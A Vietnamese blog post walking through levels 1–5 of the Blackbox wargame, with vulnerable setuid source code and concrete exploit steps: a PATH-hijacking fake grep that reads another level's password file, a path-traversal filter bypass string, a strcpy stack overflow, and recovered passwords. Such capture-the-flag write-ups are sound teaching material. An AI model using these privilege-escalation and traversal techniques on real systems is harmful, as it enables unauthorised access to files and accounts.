Blackbox Wargame - Part 1

No comments:
Game này chủ yếu là tư duy + brain fucking là chính, chứ kĩ thuật thì không có gì đáng kể . Lúc trưa mới bắt mạng, chiều trời lại mưa nên lôi ra làm thử. Một èo tới level6, phần còn lại để dành làm đồ ăn mai dùng cho bữa sáng vậy. Thể lệ wargames này thì đơn giản, bọn nó sẽ cho bạn một cái password vào level1 - level đầu tiên. Phần nhiệm vụ của bạn là từ tài khoản đó, phải tìm cách khai thác một chương trình mang lỗi cho sẵn để nâng quyền lên level tiếp theo, và cứ như thế tiếp tục đến hết.

Trang chủ của wargame này : http://blackbox.smashthestack.org:85

ssh -l level1 blackbox.smashthestack.org -p 2225
Password: level1

Level1, có 1 file binary
-rws--xr-x  1 level2 level2 1189337 Jan 12  2008 login2
chạy thử file này :
level1@blackbox:~$ ./login2
Username: x
Password: x
Invalid username or password
à, chắc chắn sẽ có so sánh username + password, biết đâu đó password để vào level2 cũng có trong này thì sao, thử strings nó thử :
level1@blackbox:~$ strings login2 > /tmp/xxx
level1@blackbox:~$ ls /tmp/xxx
/tmp/xxx
level1@blackbox:~$ ls -la /tmp/xxx
-rw-r--r-- 1 level1 gamers 30296 Aug 14 13:45 /tmp/xxx
level1@blackbox:~$ head /tmp/xxx
PTRh
QVhz
0Y[]
[^_]
[^_]
[^_]
[^_]
,[^_]
[^_]
[^_]
---snip----
Khá dài, mò một chặp thì ra cái này : PassFor2 , đẹp nhỉ. Thử login vào thử level2, vào lun ;) .

Level2 :
source code :
level2@blackbox:~$ cat getowner.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char *filename;
    char buf[128];

    if((filename = getenv("filename")) == NULL) {
        printf("No filename configured!\n");
        return 1;
    }

    while(*filename == '/')
        filename++;
    strcpy(buf, "/tmp/");
    strcpy(&buf[strlen(buf)], filename);

    struct stat stbuf;
    stat(buf, &stbuf);
    printf("The owner of this file is: %d\n", stbuf.st_uid);

    return 0;
}

quá đơn giản, lỗi stack overflow cơ bản, qua level này, kiếm pass level3 : Over****low

Level3 :
source code
level3@blackbox:~$ cat proclist.cc
#include <iostream>>
#include <>

int main(int main, char **argv)
{
    std::string command;
    std::string program;

    std::cout << "Enter the name of the program: ";
    std::cin >> program;

    for(unsigned int i = 0; i < program.length(); i++) {
        if(strchr(";^&|><", program[i]) != NULL) {
            std::cout << "Fatal error" << std::endl;
            return 1;
        }
    }


    // Execute the command to list the programs
    command = "/bin/ps |grep ";
    command += program;
    system(command.c_str());

    return 0;
}

gì mà rối tinh thế nhỉ, nhưng không quan trọng, chương trình chạy lệnh grep. Vậy thì tạo một cái grep "giả mạo" để đọc password rồi lừa nó đọc thôi chứ gì ;)).

level3@blackbox:~$ export PATH="/tmp/"
level3@blackbox:~$ ./proclist 
Enter the name of the program: x
BashingSh
level3@blackbox:~$ cat /tmp/grep
-bash: cat: command not found
level3@blackbox:~$ /usr/bin/cat /tmp/grep
-bash: /usr/bin/cat: No such file or directory
level3@blackbox:~$ /bin/cat /tmp/grep
#!/bin/sh
/bin/cat /home/level4/password
level3@blackbox:~$
Level 4 :
source code

#include <iostream>
#include <fstream>
#include <string>


std::string strreplace(const char *msg, const char *replace, const char *with)
{
    std::string ret;

    while(*msg) {
        if(strncmp(msg, replace, strlen(replace)) == 0) {
            ret += with;

            // Skip all in msg until we have another match
            msg++;
            for(unsigned int i = 1; i < strlen(replace) && *msg; i++) {
                if(strncmp(msg, replace, strlen(replace)) == 0)
                    break;
                msg++;
            }

            continue;
        } else
            ret += *msg;
        msg++;
    }

    return ret;
}

int main(int argc, char **argv)
{
    if(argc < 2) {
        std::cout << "This program allows you to read files from my shared files. See /usr/share/level5 for my shared files. Simply use the path relative to my shared files to read a file!" << std::endl;
        std::cout << "Example: " << argv[0] << " lyrics/foreverautumn" << std::endl;
        return 1;
    }

    std::string start_path = "/usr/share/level5/";
    std::string relative_path = "";
    char *ptr;

    ptr = argv[1];
    while(*ptr == '/' || *ptr == '.')
        ptr++;

    relative_path = strreplace(ptr, "/../", "");
    relative_path = strreplace(relative_path.c_str(), "/./", "");

    std::string realpath = start_path + relative_path;

    std::cout << "Contents of " << realpath << ":" << std::endl;

    std::ifstream file(realpath.c_str(), std::ios::in);
    if(!file.is_open()) {
        std::cerr << "Unable to open file" << std::endl;
        return 1;
    }

    std::string cline;

    while(!file.eof()) {
        std::getline(file, cline);
        std::cout << cline << std::endl;
    }

    return 0;
}
>"< , làm gì mà std:: rồi /../.. loạn xạ thế trời. Chương trình này đọc file, rồi xuất nội dung ra. Nhưng ý của chương trình là chỉ cho đọc trong /usr/share/level5/ thôi. Cái hàm replace() nó lọc kí tự đưa vào để "chống" ta đọc mấy file ngoài đó đấy. Sau một hồi fuzzing thì nó cũng lòi ra chỗ hở (lỗi nằm trong hàm replace() ), fuck ngay :

./shared ../ghj/./../././/
Contents of /usr/share/level5/ghj/../:

cứ như vầy mà dẫn nó đến file cần đọc ;) .

Level 5 :
#include <stdio.h>


int main(int argc, char **argv)
{
    char buf[100];
    size_t len;
    char fixedbuf[10240];
    FILE *fh;
    char *ptr = fixedbuf;
    int i;

    fh = fopen("somefile", "r");
    if(!fh)
        return 0;

    while((len = fread(buf, 1, 100, fh)) > 0) {
        for(i = 0; i < len; i++) {
            // Disable output modifiers
            switch(buf[i]) {
            case 0xFF:
            case 0x00:
            case 0x01:
                break;
            default:
                *ptr = buf[i];
                ptr++;
            }
        }
    }
    printf("%s", fixedbuf);

    fclose(fh);
}

ghê gớm nhỉ :)) . Nhưng mà nó đọc file, rồi in ra. Cho nó đọc file ta đang cần là xong ;) .



Hết phần 1.